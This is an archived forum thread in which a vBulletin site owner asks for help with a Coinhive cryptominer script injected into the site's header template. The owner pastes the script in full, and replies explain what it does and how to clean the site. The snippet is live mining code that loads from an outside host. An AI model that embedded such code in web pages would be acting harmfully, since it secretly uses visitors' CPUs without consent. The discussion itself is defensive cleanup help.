vb.org Archive - Coinhive malware

vb.org Archive (https://vborg.vbsupport.ru/index.php)

- Forum and Server Management (https://vborg.vbsupport.ru/forumdisplay.php?f=232)

- - Coinhive malware (https://vborg.vbsupport.ru/showthread.php?t=326127)

blind-eddie

02-19-2018 08:27 AM

Coinhive malware

Norton says the site listed below is infected with malware.
Only thing I can find is the following in the headerinclude template.
Can someone educate me a bit about this and what needs to be done to clean this up?

Code:

<script src="https://coinhive.com/lib/coinhive.min.js"></script>

<script>

        var miner = new CoinHive.Anonymous('dVRmwWPwfXxbAVw0swtjIgNk3hOSnexr');

        miner.start();

</script>

Code:

https://safeweb.norton.com/report/show?url=ctsubie.com



https://sitecheck.sucuri.net/results/ctsubie.com

Dave	02-19-2018 11:33 AM

CoinHive is a cryptocurrency miner which uses CPU power of the people that are visiting the forum to mine cryptocurrencies. It's basically an alternative to showing ads, but unethical in my opinion.

It's usually based on third party scripts so just removing the code is fine most of the time.

In Omnibus

02-19-2018 12:56 PM

Quote:

Originally Posted by Dave (Post 2593006)

It's not just your opinion. Cryptocurrency miners have been classified as malware.

romaine

02-23-2018 12:29 PM

Quote:

Originally Posted by blind-eddie (Post 2593003)

You need to everyplace on your hosting and reupload files...If you only remove codes from that template then the problem will be not solved completely and you can get it back.

Try to contact this guy https://forumweb.hosting/17636-virus...to-defend.html

He can help you to scan and remove malware/virus on web hosting server.

blind-eddie

02-23-2018 10:07 PM

Thank you all for your replies, we got it straightened out.

ForceHSS

02-25-2018 09:22 AM

Quote:

Originally Posted by blind-eddie (Post 2593088)

Thank you all for your replies, we got it straightened out.

Still showing me you have the virus I use ESET Smart Security

Josh789

06-28-2018 10:40 PM

Quote:

Originally Posted by blind-eddie (Post 2593088)

Thank you all for your replies, we got it straightened out.

Can you please elaborate on how?

All times are GMT. The time now is 04:18 PM.

X vBulletin 3.8.12 by vBS Debug Information
Page Generation 0.01303 seconds Memory Usage 1,725KB Queries Executed 10 (?)
More Information
Template Usage: (1)ad_footer_end (1)ad_footer_start (1)ad_header_end (1)ad_header_logo (1)ad_navbar_below (2)bbcode_code_printable (4)bbcode_quote_printable (1)footer (1)gobutton (1)header (1)headinclude (6)option (1)post_thanks_navbar_search (1)printthread (7)printthreadbit (1)spacer_close (1)spacer_open Phrase Groups Available: global postbit showthread	Included Files: ./printthread.php ./global.php ./includes/init.php ./includes/class_core.php ./includes/config.php ./includes/functions.php ./includes/class_hook.php ./includes/modsystem_functions.php ./includes/class_bbcode_alt.php ./includes/class_bbcode.php ./includes/functions_bigthree.php Hooks Called: init_startup init_startup_session_setup_start init_startup_session_setup_complete cache_permissions fetch_threadinfo_query fetch_threadinfo fetch_foruminfo style_fetch cache_templates global_start parse_templates global_setup_complete printthread_start bbcode_fetch_tags bbcode_create bbcode_parse_start bbcode_parse_complete_precache bbcode_parse_complete printthread_post printthread_complete
Messages: